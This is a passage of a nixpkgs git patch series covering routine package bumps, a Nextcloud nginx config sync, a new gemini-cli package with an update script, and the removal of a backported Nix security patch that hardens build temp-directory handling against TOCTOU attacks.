-    maintainers = with lib.maintainers; [ astsmtl ];
   };
 }
diff --git a/pkgs/tools/misc/qjoypad/default.nix b/pkgs/tools/misc/qjoypad/default.nix
index e26bcf6d403c..7c16bd121bec 100644
--- a/pkgs/tools/misc/qjoypad/default.nix
+++ b/pkgs/tools/misc/qjoypad/default.nix
@@ -53,7 +53,6 @@ mkDerivation rec {
     '';
     homepage = "https://github.com/panzi/qjoypad/";
     license = lib.licenses.gpl2Only;
-    maintainers = with maintainers; [ astsmtl ];
     platforms = with platforms; linux;
     mainProgram = "qjoypad";
   };

From 3a0c39675544aeaef1f6f7e91c3c27da372285d7 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 15 Jun 2025 17:28:40 -0400
Subject: [PATCH 1615/4511] maintainers: removing astsmtl

Inactive for a few years.

(cherry picked from commit 8288977bb6166ef2750ba0a8d4ff718243e54766)
---
 maintainers/maintainer-list.nix | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index b8220cbe7a87..d2a88c1b1863 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -2310,12 +2310,6 @@
     githubId = 119769817;
     name = "goatastronaut0212";
   };
-  astsmtl = {
-    email = "astsmtl@yandex.ru";
-    github = "astsmtl";
-    githubId = 2093941;
-    name = "Alexander Tsamutali";
-  };
   asymmetric = {
     email = "lorenzo@mailbox.org";
     github = "asymmetric";

From 51c458590ca8f72609a4cae649f363e917a2b70b Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 25 Jun 2025 17:20:34 +0200
Subject: [PATCH 1616/4511] nixos/nextcloud: sync nginx config with upstream

Upstream changes were checked by checking out the stable31 branch of the
https://github.com/nextcloud/documentation and comparing:

git diff c1c9b0a072537544769fdd6062989a631d4fb17c admin_manual/installation/nginx-root.conf.sample

Notably, this adds the text/javascript and application/wasm mime types to the list of
gzip'ed mime types, which improves nextcloud loading in our testing.

Also adds webp support.

(cherry picked from commit 0c7a8d5255c2724f0c6076832fd2766ebd5125c1)
---
 nixos/modules/services/web-apps/nextcloud.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/web-apps/nextcloud.nix b/nixos/modules/services/web-apps/nextcloud.nix
index 6f92c0ca5e58..af698b0d8358 100644
--- a/nixos/modules/services/web-apps/nextcloud.nix
+++ b/nixos/modules/services/web-apps/nextcloud.nix
@@ -1459,7 +1459,7 @@ in
               # legacy support (i.e. static files and directories in cfg.package)
               rewrite ^/(?!index|remote|public|cron|core\/ajax\/update|status|ocs\/v[12]|updater\/.+|oc[s${
                 optionalString (!ocmProviderIsNotAStaticDirAnymore) "m"
-              }]-provider\/.+|.+\/richdocumentscode\/proxy) /index.php$request_uri;
+              }]-provider\/.+|.+\/richdocumentscode(_arm64)?\/proxy) /index.php$request_uri;
               include ${config.services.nginx.package}/conf/fastcgi.conf;
               fastcgi_split_path_info ^(.+?\.php)(\\/.*)$;
               set $path_info $fastcgi_path_info;
@@ -1475,7 +1475,7 @@ in
               fastcgi_read_timeout ${builtins.toString cfg.fastcgiTimeout}s;
             '';
           };
-          "~ \\.(?:css|js|mjs|svg|gif|png|jpg|jpeg|ico|wasm|tflite|map|html|ttf|bcmap|mp4|webm|ogg|flac)$".extraConfig =
+          "~ \\.(?:css|js|mjs|svg|gif|ico|jpg|jpeg|png|webp|wasm|tflite|map|html|ttf|bcmap|mp4|webm|ogg|flac)$".extraConfig =
             ''
               try_files $uri /index.php$request_uri;
               expires 6M;
@@ -1513,7 +1513,6 @@ in
             add_header X-Content-Type-Options nosniff;
             add_header X-XSS-Protection "1; mode=block";
             add_header X-Robots-Tag "noindex, nofollow";
-            add_header X-Download-Options noopen;
             add_header X-Permitted-Cross-Domain-Policies none;
             add_header X-Frame-Options sameorigin;
             add_header Referrer-Policy no-referrer;
@@ -1529,7 +1528,7 @@ in
           gzip_comp_level 4;
           gzip_min_length 256;
           gzip_proxied expired no-cache no-store private no_last_modified no_etag auth;
-          gzip_types application/atom+xml application/javascript application/json application/ld+json application/manifest+json application/rss+xml application/vnd.geo+json application/vnd.ms-fontobject application/x-font-ttf application/x-web-app-manifest+json application/xhtml+xml application/xml font/opentype image/bmp image/svg+xml image/x-icon text/cache-manifest text/css text/plain text/vcard text/vnd.rim.location.xloc text/vtt text/x-component text/x-cross-domain-policy;
+          gzip_types application/atom+xml text/javascript application/javascript application/json application/ld+json application/manifest+json application/rss+xml application/vnd.geo+json application/vnd.ms-fontobject application/wasm application/x-font-ttf application/x-web-app-manifest+json application/xhtml+xml application/xml font/opentype image/bmp image/svg+xml image/x-icon text/cache-manifest text/css text/plain text/vcard text/vnd.rim.location.xloc text/vtt text/x-component text/x-cross-domain-policy;
 
           ${optionalString cfg.webfinger ''
             rewrite ^/.well-known/host-meta /public.php?service=host-meta last;

From 8f28a518cf8dcefb4e761a1544529a98cb21144f Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Wed, 25 Jun 2025 14:10:29 +0200
Subject: [PATCH 1617/4511] mdns-scanner: 0.13.0 -> 0.15.0

(cherry picked from commit 943026b966e32909ece584996dac41daa0e484c5)
---
 pkgs/by-name/md/mdns-scanner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/md/mdns-scanner/package.nix b/pkgs/by-name/md/mdns-scanner/package.nix
index 781cf8669be0..44ff1d003180 100644
--- a/pkgs/by-name/md/mdns-scanner/package.nix
+++ b/pkgs/by-name/md/mdns-scanner/package.nix
@@ -6,16 +6,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mdns-scanner";
-  version = "0.13.0";
+  version = "0.15.0";
 
   src = fetchFromGitHub {
     owner = "CramBL";
     repo = "mdns-scanner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-86GpBjgfBMkqzoWPEbjQM6PvSEb67A8nL7sEtplXoic=";
+    hash = "sha256-15yVQfqzAYBrCzMZJE3IiQG+ZfGMQYltxDGf+pmD8ss=";
   };
 
-  cargoHash = "sha256-z0IHONtU1pgViQZu0Q2fZVjdJ6sSlgnIw83hqWLKfVM=";
+  cargoHash = "sha256-htYBCcK8aVCTmdxMW0QmX+2aS9ZuC7PsuebrWMpUl38=";
 
   meta = {
     homepage = "https://github.com/CramBL/mdns-scanner";

From cf872c25152dbb3e04aa5bccf416783699d90be2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 26 Jun 2025 14:58:32 +0200
Subject: [PATCH 1618/4511] workflows/backport: korthout/backport-action: 3.2.0
 -> 3.2.1

Release Notes:
https://github.com/korthout/backport-action/releases/tag/v3.2.1

This should many of the annoying, duplicated error messages that the
backport action comments.

(cherry picked from commit de8f3e2cbf9d4479ae60848acd6a671d8567939b)
---
 .github/workflows/backport.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 9407fea7f8e5..c0b92a986c7c 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -50,7 +50,7 @@ jobs:
 
       - name: Create backport PRs
         id: backport
-        uses: korthout/backport-action@436145e922f9561fc5ea157ff406f21af2d6b363 # v3.2.0
+        uses: korthout/backport-action@0193454f0c5947491d348f33a275c119f30eb736 # v3.2.1
         with:
           # Config README: https://github.com/korthout/backport-action#backport-action
           copy_labels_pattern: 'severity:\ssecurity'

From 9eff2ea33243f469230de7670431bae5d9fcbe4c Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 25 Jun 2025 17:52:45 +0300
Subject: [PATCH 1619/4511] raycast: 1.100.0 -> 1.100.3

(cherry picked from commit 8a1ba7b6eb4c860a0f257551045c5f8653d6f589)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 056d7d0d0f90..819680f7f89c 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.100.0";
+  version = "1.100.3";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-uoROEh0ERGpvO4lX/ni5gn+fqwMNOzk7CoPgEnL7ktE=";
+        hash = "sha256-2X+vv1OMXKmoXH+WGzHF49HWTCMA9a77BTJqKfkMg0E=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-LdGVNWgQ8bxgqHSvnVizbWeXnHe7JSk47Kn5jGsrNbs=";
+        hash = "sha256-Ug9starsQ759+9WvGbIvxMf+Hvs+1lj3pViEvcfrc6k=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From 99eae483d7032fd277e11110335b7c524cf846d5 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Thu, 26 Jun 2025 11:12:34 +0800
Subject: [PATCH 1620/4511] wireshark: link app binary to bin on darwin

(cherry picked from commit dad06df8a7b0f9c1e053edf50b5c070fbac5ad8b)
---
 pkgs/applications/networking/sniffers/wireshark/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/applications/networking/sniffers/wireshark/default.nix b/pkgs/applications/networking/sniffers/wireshark/default.nix
index 813410fe91ea..8ec142b4205d 100644
--- a/pkgs/applications/networking/sniffers/wireshark/default.nix
+++ b/pkgs/applications/networking/sniffers/wireshark/default.nix
@@ -186,6 +186,8 @@ stdenv.mkDerivation rec {
     + lib.optionalString isAppBundle ''
       mkdir -p $out/Applications
       mv $out/bin/Wireshark.app $out/Applications/Wireshark.app
+
+      ln -s $out/Applications/Wireshark.app/Contents/MacOS/Wireshark $out/bin/wireshark
     ''
     + lib.optionalString stdenv.hostPlatform.isDarwin ''
       local flags=()

From 7fc278ea438f7bcbb897553abce9b58636067769 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Wed, 25 Jun 2025 18:27:59 +0300
Subject: [PATCH 1621/4511] gemini-cli: init at 0.1.5

(cherry picked from commit 483bcbc861f03a19b3e2ef4a7e74624a0aeae041)
---
 pkgs/by-name/ge/gemini-cli/package.nix | 96 ++++++++++++++++++++++++++
 1 file changed, 96 insertions(+)
 create mode 100644 pkgs/by-name/ge/gemini-cli/package.nix

diff --git a/pkgs/by-name/ge/gemini-cli/package.nix b/pkgs/by-name/ge/gemini-cli/package.nix
new file mode 100644
index 000000000000..ddaa7f42355c
--- /dev/null
+++ b/pkgs/by-name/ge/gemini-cli/package.nix
@@ -0,0 +1,96 @@
+{
+  lib,
+  buildNpmPackage,
+  fetchFromGitHub,
+  fetchNpmDeps,
+  writeShellApplication,
+  cacert,
+  curl,
+  gnused,
+  jq,
+  nix-prefetch-github,
+  prefetch-npm-deps,
+}:
+
+buildNpmPackage (finalAttrs: {
+  pname = "gemini-cli";
+  version = "0.1.5";
+
+  src = fetchFromGitHub {
+    owner = "google-gemini";
+    repo = "gemini-cli";
+    # Currently there's no release tag
+    rev = "121bba346411cce23e350b833dc5857ea2239f2f";
+    hash = "sha256-2w28N6Fhm6k3wdTYtKH4uLPBIOdELd/aRFDs8UMWMmU=";
+  };
+
+  npmDeps = fetchNpmDeps {
+    inherit (finalAttrs) src;
+    hash = "sha256-yoUAOo8OwUWG0gyI5AdwfRFzSZvSCd3HYzzpJRvdbiM=";
+  };
+
+  preConfigure = ''
+    mkdir -p packages/generated
+    echo "export const GIT_COMMIT_INFO = { commitHash: '${finalAttrs.src.rev}' };" > packages/generated/git-commit.ts
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p "$out/lib"
+
+    cp -r node_modules "$out/lib/"
+
+    rm -f "$out/lib/node_modules/@google/gemini-cli"
+    rm -f "$out/lib/node_modules/@google/gemini-cli-core"
+
+    cp -r packages/cli "$out/lib/node_modules/@google/gemini-cli"
+    cp -r packages/core "$out/lib/node_modules/@google/gemini-cli-core"
+
+    mkdir -p "$out/bin"
+    ln -s ../lib/node_modules/@google/gemini-cli/dist/index.js "$out/bin/gemini"
+
+    runHook postInstall
+  '';
+
+  postInstall = ''
+    chmod +x "$out/bin/gemini"
+  '';
+
+  passthru.updateScript = lib.getExe (writeShellApplication {
+    name = "gemini-cli-update-script";
+    runtimeInputs = [
+      cacert
+      curl
+      gnused
+      jq
+      nix-prefetch-github
+      prefetch-npm-deps
+    ];
+    text = ''
+      latest_version=$(curl -s "https://raw.githubusercontent.com/google-gemini/gemini-cli/main/package-lock.json" | jq -r '.version')
+      latest_rev=$(curl -s "https://api.github.com/repos/google-gemini/gemini-cli/commits/main" | jq -r '.sha')
+
+      src_hash=$(nix-prefetch-github google-gemini gemini-cli --rev "$latest_rev" | jq -r '.hash')
+
+      temp_dir=$(mktemp -d)
+      curl -s "https://raw.githubusercontent.com/google-gemini/gemini-cli/$latest_rev/package-lock.json" > "$temp_dir/package-lock.json"
+      npm_deps_hash=$(prefetch-npm-deps "$temp_dir/package-lock.json")
+      rm -rf "$temp_dir"
+
+      sed -i "s|version = \".*\";|version = \"$latest_version\";|" "pkgs/by-name/ge/gemini-cli/package.nix"
+      sed -i "s|rev = \".*\";|rev = \"$latest_rev\";|" "pkgs/by-name/ge/gemini-cli/package.nix"
+      sed -i "/src = fetchFromGitHub/,/};/s|hash = \".*\";|hash = \"$src_hash\";|" "pkgs/by-name/ge/gemini-cli/package.nix"
+      sed -i "/npmDeps = fetchNpmDeps/,/};/s|hash = \".*\";|hash = \"$npm_deps_hash\";|" "pkgs/by-name/ge/gemini-cli/package.nix"
+    '';
+  });
+
+  meta = {
+    description = "AI agent that brings the power of Gemini directly into your terminal";
+    homepage = "https://github.com/google-gemini/gemini-cli";
+    license = lib.licenses.asl20;
+    maintainers = with lib.maintainers; [ donteatoreo ];
+    platforms = lib.platforms.all;
+    mainProgram = "gemini";
+  };
+})

From 04f21fbb01cdcb3a2224b609e8c16c83e17dd488 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 24 Jun 2025 17:43:08 +0200
Subject: [PATCH 1622/4511] nixVersions.nix: 2.28.3 -> 2.28.4

(cherry picked from commit 28e4681066886f043d3ba5826208a41c1ccc0961)
---
 .../installer/tools/nix-fallback-paths.nix    |  12 +-
 pkgs/tools/package-management/nix/default.nix |   5 +-
 .../patches/ghsa-g948-229j-48j3-2.28.patch    | 454 ------------------
 3 files changed, 8 insertions(+), 463 deletions(-)
 delete mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch

diff --git a/nixos/modules/installer/tools/nix-fallback-paths.nix b/nixos/modules/installer/tools/nix-fallback-paths.nix
index 55a0c46237ed..2fa265cda818 100644
--- a/nixos/modules/installer/tools/nix-fallback-paths.nix
+++ b/nixos/modules/installer/tools/nix-fallback-paths.nix
@@ -1,8 +1,8 @@
 {
-  x86_64-linux = "/nix/store/pfh6bq2wxbpp3xz5sinymmp44n505zh8-nix-2.28.3";
-  i686-linux = "/nix/store/nfxdfb9zcrm9sqkw8xhdqs7vcvrwp1k2-nix-2.28.3";
-  aarch64-linux = "/nix/store/7w6fj8s7h4pcmx38m1f51xd93ywizm4i-nix-2.28.3";
-  riscv64-linux = "/nix/store/nnynd5vfd6pf9jkp13bmj44rlrd61l3h-nix-riscv64-unknown-linux-gnu-2.28.3";
-  x86_64-darwin = "/nix/store/rdxbh5m09c9i2s7zkh7b8g6mnrpmaa19-nix-2.28.3";
-  aarch64-darwin = "/nix/store/wjrdsqbaial7pl9vfhqc7cpzd9lqcr6a-nix-2.28.3";
+  x86_64-linux = "/nix/store/gy397nw6h414f4l4vxny1wg8cn4i955d-nix-2.28.4";
+  i686-linux = "/nix/store/k192aqw8zh71zrli5abqd5wg01bqwmh9-nix-2.28.4";
+  aarch64-linux = "/nix/store/cp0bzvj8vf5y2z0nimq57crcq6h419fj-nix-2.28.4";
+  riscv64-linux = "/nix/store/zav2zzhxld8fqvj7hb5z83ggd3ij6888-nix-riscv64-unknown-linux-gnu-2.28.4";
+  x86_64-darwin = "/nix/store/gj4y690ligr5gawmpnkiw2qs087m068w-nix-2.28.4";
+  aarch64-darwin = "/nix/store/nb6nkjac7nj242j3m56pkdkbikfjw343-nix-2.28.4";
 }
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix
index 3d0f7884f77e..787686d2ae85 100644
--- a/pkgs/tools/package-management/nix/default.nix
+++ b/pkgs/tools/package-management/nix/default.nix
@@ -182,9 +182,8 @@ lib.makeExtensible (
       };
 
       nix_2_28 = commonMeson {
-        version = "2.28.3";
-        hash = "sha256-TjZp5ITSUvNRAzNznmkZRQxNRzMLiSAplz4bV2T8cbs=";
-        patches = [ ./patches/ghsa-g948-229j-48j3-2.28.patch ];
+        version = "2.28.4";
+        hash = "sha256-V1tPrBkPteqF8VWUgpotNFYJ2Xm6WmB3aMPexuEHl9I=";
         self_attribute_name = "nix_2_28";
       };
 
diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch
deleted file mode 100644
index 7de531128279..000000000000
--- a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch
+++ /dev/null
@@ -1,454 +0,0 @@
-From 24c1aa735a40d3bf5361755fa10ac0e577a55eed Mon Sep 17 00:00:00 2001
-From: Eelco Dolstra <edolstra@gmail.com>
-Date: Thu, 19 Jun 2025 16:20:34 +0200
-Subject: [PATCH] Fixes for GHSA-g948-229j-48j3
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Squashed commit of the following:
-
-commit 04fff3a637d455cbb1d75937a235950e43008db9
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:30:32 2025 +0200
-
-    Chown structured attr files safely
-
-commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 12:14:04 2025 +0200
-
-    Replace 'bool sync' with an enum for clarity
-
-    And drop writeFileAndSync().
-
-commit 7ae0141f328d8e8e1094be24665789c05f974ba6
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:35:28 2025 +0200
-
-    Drop guessOrInventPathFromFD()
-
-    No need to do hacky stuff like that when we already know the original path.
-
-commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08
-Author: Eelco Dolstra <edolstra@gmail.com>
-Date:   Thu Jun 12 11:15:58 2025 +0200
-
-    Tweak comment
-
-commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Thu Mar 27 12:22:26 2025 +0100
-
-    libstore: ensure that temporary directory is always 0o000 before deletion
-
-    In the case the deletion fails, we should ensure that the temporary
-    directory cannot be used for nefarious purposes.
-
-    Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 12:42:55 2025 +0100
-
-    libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds
-
-    When calling `_deletePath` with a parent file descriptor, `openat` is
-    made effective by using relative paths to the directory file descriptor.
-
-    To avoid the problem, the signature is changed to resist misuse with an
-    assert in the prologue of the function.
-
-    Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:07:47 2025 +0100
-
-    libstore: ensure that `passAsFile` is created in the original temp dir
-
-    This ensures that `passAsFile` data is created inside the expected
-    temporary build directory by `openat()` from the parent directory file
-    descriptor.
-
-    This avoids a TOCTOU which is part of the attack chain of CVE-????.
-
-    Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:06:03 2025 +0100
-
-    libutil: writeFile variant for file descriptors
-
-    `writeFile` lose its `sync` boolean flag to make things simpler.
-
-    A new `writeFileAndSync` function is created and all call sites are
-    converted to it.
-
-    Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 732bd9b98cabf4aaf95a01fd318923de303f9996
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:05:34 2025 +0100
-
-    libstore: chown to builder variant for file descriptors
-
-    We use it immediately for the build temporary directory.
-
-    Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit 962c65f8dcd5570dd92c72370a862c7b38942e0d
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:59 2025 +0100
-
-    libstore: open build directory as a dirfd as well
-
-    We now keep around a proper AutoCloseFD around the temporary directory
-    which we plan to use for openat operations and avoiding the build
-    directory being swapped out while we are doing something else.
-
-    Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-commit c9b42462b75b5a37ee6564c2b53cff186c8323da
-Author: Raito Bezarius <raito@lix.systems>
-Date:   Wed Mar 26 01:04:12 2025 +0100
-
-    libutil: guess or invent a path from file descriptors
-
-    This is useful for certain error recovery paths (no pun intended) that
-    does not thread through the original path name.
-
-    Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e
-    Signed-off-by: Raito Bezarius <raito@lix.systems>
-
-Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
----
- src/libstore/local-store.cc                   |  4 +-
- .../unix/build/local-derivation-goal.cc       | 46 ++++++++++++++----
- .../nix/store/build/local-derivation-goal.hh  | 20 ++++++++
- src/libutil/file-content-address.cc           |  2 +-
- src/libutil/file-system.cc                    | 47 +++++++++++--------
- src/libutil/include/nix/util/file-system.hh   | 14 ++++--
- 6 files changed, 98 insertions(+), 35 deletions(-)
-
-diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
-index f3bee6953..eddc87ef9 100644
---- a/src/libstore/local-store.cc
-+++ b/src/libstore/local-store.cc
-@@ -249,7 +249,7 @@ LocalStore::LocalStore(
-     else if (curSchema == 0) { /* new store */
-         curSchema = nixSchemaVersion;
-         openDB(*state, true);
--        writeFile(schemaPath, fmt("%1%", curSchema), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes);
-     }
- 
-     else if (curSchema < nixSchemaVersion) {
-@@ -300,7 +300,7 @@ LocalStore::LocalStore(
-             txn.commit();
-         }
- 
--        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
-+        writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes);
- 
-         lockFile(globalLock.get(), ltRead, true);
-     }
-diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
-index 9edb6fb0f..a0442d0b8 100644
---- a/src/libstore/unix/build/local-derivation-goal.cc
-+++ b/src/libstore/unix/build/local-derivation-goal.cc
-@@ -567,7 +567,14 @@ void LocalDerivationGoal::startBuilder()
-     } else {
-         tmpDir = topTmpDir;
-     }
--    chownToBuilder(tmpDir);
-+
-+    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
-+       POSIX semantics.*/
-+    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
-+    if (!tmpDirFd)
-+        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
-+
-+    chownToBuilder(tmpDirFd.get(), tmpDir);
- 
-     for (auto & [outputName, status] : initialOutputs) {
-         /* Set scratch path we'll actually use during the build.
-@@ -1159,9 +1166,7 @@ void LocalDerivationGoal::initTmpDir()
-             } else {
-                 auto hash = hashString(HashAlgorithm::SHA256, i.first);
-                 std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false);
--                Path p = tmpDir + "/" + fn;
--                writeFile(p, rewriteStrings(i.second, inputRewrites));
--                chownToBuilder(p);
-+                writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites));
-                 env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
-             }
-         }
-@@ -1266,11 +1271,9 @@ void LocalDerivationGoal::writeStructuredAttrs()
- 
-         auto jsonSh = writeStructuredAttrsShell(json);
- 
--        writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.sh");
-+        writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites));
-         env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh";
--        writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites));
--        chownToBuilder(tmpDir + "/.attrs.json");
-+        writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites));
-         env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json";
-     }
- }
-@@ -1781,6 +1784,24 @@ void setupSeccomp()
- #endif
- }
- 
-+void LocalDerivationGoal::chownToBuilder(int fd, const Path & path)
-+{
-+    if (!buildUser) return;
-+    if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1)
-+        throw SysError("cannot change ownership of file '%1%'", path);
-+}
-+
-+void LocalDerivationGoal::writeBuilderFile(
-+    const std::string & name,
-+    std::string_view contents)
-+{
-+    auto path = std::filesystem::path(tmpDir) / name;
-+    AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
-+    if (!fd)
-+        throw SysError("creating file %s", path);
-+    writeFile(fd, path, contents);
-+    chownToBuilder(fd.get(), path);
-+}
- 
- void LocalDerivationGoal::runChild()
- {
-@@ -3000,6 +3021,15 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
- void LocalDerivationGoal::deleteTmpDir(bool force)
- {
-     if (topTmpDir != "") {
-+        /* As an extra precaution, even in the event of `deletePath` failing to
-+         * clean up, the `tmpDir` will be chowned as if we were to move
-+         * it inside the Nix store.
-+         *
-+         * This hardens against an attack which smuggles a file descriptor
-+         * to make use of the temporary directory.
-+         */
-+        chmod(topTmpDir.c_str(), 0000);
-+
-         /* Don't keep temporary directories for builtins because they
-            might have privileged stuff (like a copy of netrc). */
-         if (settings.keepFailed && !force && !drv->isBuiltin()) {
-diff --git a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh
-index 795286a01..fb62e3ca4 100644
---- a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh
-+++ b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh
-@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal
-      */
-     Path topTmpDir;
- 
-+    /**
-+     * The file descriptor of the temporary directory.
-+     */
-+    AutoCloseFD tmpDirFd;
-+
-     /**
-      * The path of the temporary directory in the sandbox.
-      */
-@@ -239,9 +244,24 @@ struct LocalDerivationGoal : public DerivationGoal
- 
-     /**
-      * Make a file owned by the builder.
-+     *
-+     * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
-+     * It's only safe to call in a child of a directory only visible to the owner.
-      */
-     void chownToBuilder(const Path & path);
- 
-+    /**
-+     * Make a file owned by the builder addressed by its file descriptor.
-+     */
-+    void chownToBuilder(int fd, const Path & path);
-+
-+    /**
-+     * Create a file in `tmpDir` owned by the builder.
-+     */
-+    void writeBuilderFile(
-+        const std::string & name,
-+        std::string_view contents);
-+
-     int getChildStatus() override;
- 
-     /**
-diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
-index 142bc70d5..d95781691 100644
---- a/src/libutil/file-content-address.cc
-+++ b/src/libutil/file-content-address.cc
-@@ -93,7 +93,7 @@ void restorePath(
- {
-     switch (method) {
-     case FileSerialisationMethod::Flat:
--        writeFile(path, source, 0666, startFsync);
-+        writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No);
-         break;
-     case FileSerialisationMethod::NixArchive:
-         restorePath(path, source, startFsync);
-diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
-index 9ce3682f1..204a63c4e 100644
---- a/src/libutil/file-system.cc
-+++ b/src/libutil/file-system.cc
-@@ -298,7 +298,7 @@ void readFile(const Path & path, Sink & sink)
- }
- 
- 
--void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync)
-+void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync)
- {
